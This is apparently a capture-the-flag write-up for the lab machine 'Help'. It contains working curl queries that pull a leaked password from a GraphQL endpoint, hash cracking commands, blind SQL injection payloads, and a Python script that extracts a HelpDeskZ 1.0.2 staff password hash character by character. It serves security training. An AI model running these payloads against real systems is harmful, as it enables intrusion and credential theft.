Help
An unauthenticated GraphQL endpoint leaks a HelpDeskZ user's MD5 password, and the HelpDeskZ 1.0.2 ticket viewer's blind SQL injection lets you brute-force a staff SHA1 hash one character at a time — the recovered credential logs straight into SSH for the user flag.
Overview
Help is an easy-difficulty Linux box that strings together three classic web bugs. A Node.js/Express GraphQL API on port 3000 hands out a user’s MD5 password to anyone who asks, those credentials unlock a HelpDeskZ 1.0.2 instance whose ticket viewer is blind SQL injectable, and walking the injection character by character recovers a staff SHA1 hash that cracks to an SSH password. This post covers recon through the user flag.
Machine Matrix
Enumeration-driven easy box where dir busting finds HelpDeskZ, then a custom char-by-char blind-SQLi brute script does the work; the 1.0.2 CVEs are secondary so custom edges out CVE.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 7.2p2 | Ubuntu 16.04 |
| 80/tcp | Apache 2.4.18 | redirects to help.htb, default Apache page |
| 3000/tcp | Node.js Express | returns JSON, GraphQL backend |
1
nmap -sC -sV 10.10.10.121
Add the vhost so the redirect resolves:
1
echo "10.10.10.121 help.htb" | sudo tee -a /etc/hosts
Port 80 only serves the default Apache page, so brute-force for content:
1
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u http://help.htb/
This finds /support, a HelpDeskZ installation. The version file confirms it:
1
curl -s http://help.htb/support/UPGRADING.txt
It reports HelpDeskZ 1.0.2, which has two public exploits — an authenticated SQL injection and an unauthenticated arbitrary file upload.
Enumeration
Port 3000 returns a hint:
1
{"message":"Hi Shiv, To get access please find the credentials with given query"}
The X-Powered-By: Express header plus the “query” wording points at GraphQL. Hitting /graphql confirms it (“GET query missing”). GraphQL is self-describing — ask for an object and the server’s errors tell you what it wants:
1
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user}' | jq
The error says the user field needs subfields, so request the obvious ones:
1
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username,password}}' | jq
1
2
{ "data": { "user": { "username": "[email protected]",
"password": "5d3c93182bb20f07b994a7f617e99cff" } } }
The 32-char hex is an unsalted MD5. It cracks instantly:
1
hashcat -a 0 -m 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
→ godhelpmeplz. The pair [email protected]:godhelpmeplz logs into the HelpDeskZ panel.
Foothold
1 — Find the injectable parameter. Submit a ticket with an image attachment, view the ticket, and copy the attachment link. The request looks like:
1
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6
Appending a boolean test confirms injection — a true condition returns the image, a false one returns a 404:
1
curl -s "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and 1=1-- -"
2 — Map the target column. The HelpDeskZ source on GitHub reveals the login table is staff with username and password (a 40-char SHA1). Confirm the staff username:
1
curl -s "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and (select (username) from staff limit 0,1) = 'admin'-- -"
3 — Brute-force the hash blind. With only a true/false oracle, extract the SHA1 one character at a time using substr(), iterating 40 positions over [a-z0-9]:
1
2
3
4
5
6
7
8
9
10
11
import requests, string
cookies = {'PHPSESSID': '<session>', 'usrhash': '<usrhash>'}
url = 'http://10.10.10.121/support/?v='
chars = string.ascii_lowercase + string.digits
password, k = '', 1
while k <= 40:
for c in chars:
q = ("view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 "
"and substr((select password from staff limit 0,1),%d,1)='%s'-- -" % (k, c))
if b'404' not in requests.get(url + q, cookies=cookies).content:
password += c; k += 1; print('Password:', password); break
It recovers d318f44739dced66793b1a603028133a76ae680e, which cracks as SHA1:
1
hashcat -a 0 -m 100 d318f44739dced66793b1a603028133a76ae680e /usr/share/wordlists/rockyou.txt
→ Welcome1. Re-running the script against the email column (extend the charset with @, _, .) yields [email protected].
Alternate route: HelpDeskZ 1.0.2 also has an unauthenticated file-upload bug (the extension check runs after the file is written, and the renamed file is
md5(name + epoch)). EDB 40300 brute-forces that timestamp and drops a PHP webshell — a second, no-credentials path to the same shell.
User flag
The SSH username isn’t in the database, but help is the obvious guess for this box — and the recovered password works:
1
ssh help@10.10.10.121 # Welcome1
1
2
help@help:~$ cat user.txt
[redacted]
Shell as help and the user flag are ours.
Privilege escalation (an out-of-date 4.4.0-116 kernel) is left as an exercise — this post stops at user.